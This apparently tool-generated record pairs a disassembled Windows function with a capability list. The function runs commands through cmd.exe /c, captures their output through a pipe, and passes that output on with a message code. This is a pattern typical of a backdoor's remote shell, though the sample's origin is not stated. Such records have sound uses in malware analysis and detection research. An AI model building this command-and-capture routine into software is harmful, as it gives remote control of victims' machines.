Function at 0x401dd0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4314
call fcn.0040a620
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x807]
push ebx
push eax
mov esi, ecx
mov byte [ebp - 0x808], bl
call fcn.00406a20
push 0x3ff
lea ecx, [ebp - 0x407]
push ebx
push ecx
mov byte [ebp - 0x408], bl
call fcn.00406a20
push 0x400
lea edx, [ebp - 0x408]
push str.C:windows_system32cmd.exe
push edx
call fcn.00402de0
push esi
lea eax, [ebp - 0x408]
push eax
lea ecx, [ebp - 0x808]
push str._s__c__s
push ecx
call fcn.00402ad3
add esp, 0x34
push 0x40000
lea edx, [ebp - 0x42c8]
push edx
lea eax, [ebp - 0x42ac]
push eax
lea ecx, [ebp - 0x42a8]
mov edi, 1
push ecx
mov dword [ebp - 0x42c8], 0xc
mov dword [ebp - 0x42c4], ebx
mov dword [ebp - 0x42c0], edi
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0x44
lea edx, [ebp - 0x4310]
push ebx
push edx
call fcn.00406a20
xor eax, eax
mov dword [ebp - 0x42bc], eax
mov dword [ebp - 0x42b8], eax
mov dword [ebp - 0x42b4], eax
mov dword [ebp - 0x42b0], eax
mov eax, dword [ebp - 0x42ac]
mov dword [ebp - 0x42d0], eax
mov dword [ebp - 0x42d4], eax
xor eax, eax
add esp, 0xc
mov dword [ebp - 0x4310], 0x44
mov dword [ebp - 0x42d8], ebx
mov dword [ebp - 0x42e4], 0x101
mov word [ebp - 0x42e0], ax
xor esi, esi
mov edi, edi
lea ecx, [ebp - 0x42bc]
push ecx
lea edx, [ebp - 0x4310]
push edx
push ebx
push ebx
push ebx
push edi
push ebx
push ebx
lea eax, [ebp - 0x808]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x401f1d
add esi, edi
cmp esi, 8
jl 0x401ef0
cmp esi, 8
jne 0x401f35
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402ac4
mov esp, ebp
pop ebp
ret
push 0x1f4
mov dword [ebp - 0x42a4], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x42bc]
push 0xffffffffffffffff
push ecx
xor esi, esi
lea edi, [ebp - 0x42a0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x42a8]
push ebx
lea edx, [ebp - 0x42a4]
push edx
push ebx
push 0x3a84
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x40203f
mov ecx, dword [ebp - 0x42a4]
cmp ecx, ebx
jne 0x401fb9
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x42bc]
lea ecx, [ebp - 0x42a4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [ebp - 0x42a4], 0x103
jne 0x40203f
jmp 0x40201b
movzx eax, si
add ecx, eax
cmp ecx, 0x3a84
jbe 0x401ff6
mov byte [ebp + eax - 0x42a0], bl
lea edx, [ebp - 0x42a0]
push edx
mov edx, dword [0x411d10]
inc eax
push eax
mov eax, dword [ebp + 8]
push ebx
push eax
mov ecx, 0xa021
call fcn.00401280
add esp, 0x10
xor esi, esi
lea edi, [ebp - 0x42a0]
mov edx, dword [ebp - 0x42a8]
push ebx
lea ecx, [ebp - 0x42a4]
push ecx
push 0x3a84
push edi
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x42a4]
add edi, eax
add esi, eax
mov ecx, dword [ebp - 0x42a8]
push ebx
lea eax, [ebp - 0x42a4]
push eax
push ebx
push 0x3a84
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x401f81
mov edx, dword [ebp - 0x42a8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [ebp - 0x42ac]
push eax
call edi
mov edx, dword [ebp + 0xc]
movzx eax, si
mov byte [ebp + eax - 0x42a0], bl
lea ecx, [ebp - 0x42a0]
push ecx
inc eax
push eax
mov eax, dword [ebp + 8]
push edx
mov edx, dword [0x411d10]
push eax
mov ecx, 0xa021
call fcn.00401280
mov ecx, dword [ebp - 4]
add esp, 0x10
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00402ac4
mov esp, ebp
pop ebp
ret